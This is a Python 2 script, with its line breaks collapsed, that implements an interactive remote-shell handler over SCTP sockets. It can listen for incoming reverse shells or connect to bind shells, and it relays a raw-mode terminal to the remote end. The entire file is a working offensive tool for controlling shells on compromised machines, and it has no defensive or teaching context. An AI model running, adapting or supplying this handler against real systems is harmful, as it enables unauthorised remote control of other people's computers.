#!/usr/bin/env python2 import termios import select import socket import os import fcntl import argparse from sctp import * class PTY: def __init__(self, slave=0, pid=os.getpid()): # apparently python GC's modules before class instances so, here # we have some hax to ensure we can restore the terminal state. self.termios, self.fcntl = termios, fcntl # open our controlling PTY self.pty = open(os.readlink("/proc/%d/fd/%d" % (pid, slave)), "rb+") # store our old termios settings so we can restore after # we are finished self.oldtermios = termios.tcgetattr(self.pty) # get the current settings se we can modify them newattr = termios.tcgetattr(self.pty) # set the terminal to uncanonical mode and turn off # input echo. newattr[3] &= ~termios.ICANON & ~termios.ECHO # don't handle ^C / ^Z / ^\ newattr[6][termios.VINTR] = '\x00' newattr[6][termios.VQUIT] = '\x00' newattr[6][termios.VSUSP] = '\x00' # set our new attributes termios.tcsetattr(self.pty, termios.TCSADRAIN, newattr) # store the old fcntl flags self.oldflags = fcntl.fcntl(self.pty, fcntl.F_GETFL) # fcntl.fcntl(self.pty, fcntl.F_SETFD, fcntl.FD_CLOEXEC) # make the PTY non-blocking fcntl.fcntl(self.pty, fcntl.F_SETFL, self.oldflags | os.O_NONBLOCK) def read(self, size=8192): return self.pty.read(size) def write(self, data): ret = self.pty.write(data) self.pty.flush() return ret def fileno(self): return self.pty.fileno() def __del__(self): # restore the terminal settings on deletion self.termios.tcsetattr(self.pty, self.termios.TCSAFLUSH, self.oldtermios) self.fcntl.fcntl(self.pty, self.fcntl.F_SETFL, self.oldflags) class Shell: def __init__(self, addr, bind=True): self.bind = bind self.addr = addr if self.bind: self.sock = sctpsocket_tcp(socket.AF_INET) self.sock.bind(self.addr) self.sock.listen(5) def handle(self, addr=None): addr = addr or self.addr if self.bind: sock, addr = self.sock.accept() else: sock = sctpsocket_tcp(socket.AF_INET) sock.connect(addr) # create our PTY pty = PTY() # input buffers for the fd's buffers = [ [ sock, [] ], [ pty, [] ] ] def buffer_index(fd): for index, buffer in enumerate(buffers): if buffer[0] == fd: return index readable_fds = [ sock, pty ] data = " " # keep going until something deds while data: # if any of the fd's need to be written to, add them to the # writable_fds writable_fds = [] for buffer in buffers: if buffer[1]: writable_fds.append(buffer[0]) r, w, x = select.select(readable_fds, writable_fds, []) # read from the fd's and store their input in the other fd's buffer for fd in r: buffer = buffers[buffer_index(fd) ^ 1][1] if hasattr(fd, "read"): data = fd.read(8192) else: data = fd.recv(8192) if data: buffer.append(data) # send data from each buffer onto the proper FD for fd in w: buffer = buffers[buffer_index(fd)][1] data = buffer[0] if hasattr(fd, "write"): fd.write(data) else: fd.send(data) buffer.remove(data) # close the socket sock.close() if __name__ == "__main__": # I could do this validation with regex.. but meh. def AddressString(value): address = value.split(":") if len(address) != 2: raise argparse.ArgumentTypeError("Address must be in format IP:Port.") if len(address[0].split(".")) != 4: raise argparse.ArgumentTypeError("Invalid IP length.") for octet in address[0].split("."): try: if int(octet) > 255 or int(octet) < 0: raise argparse.ArgumentTypeError("Invalid octet in address.") except ValueError: raise argparse.ArgumentTypeError("Invalid octet in address.") try: address[1] = int(address[1]) if address[1] < 0 or address[1] > 65535: raise argparse.ArgumentTypeError("Invalid port number") except ValueError: raise argparse.ArgumentTypeError("Invalid port number.") return tuple(address) parser = argparse.ArgumentParser() group = parser.add_mutually_exclusive_group(required=True) group.add_argument("-b", "--bind", help="Reverse shell handler.", action="store_true") group.add_argument("-c", "--connect", help="Bind shell handler.", action="store_true") parser.add_argument("address", type=AddressString, help="IP address/port to bind/connect to.") args = parser.parse_args() s = Shell(args.address, bind=args.bind) s.handle()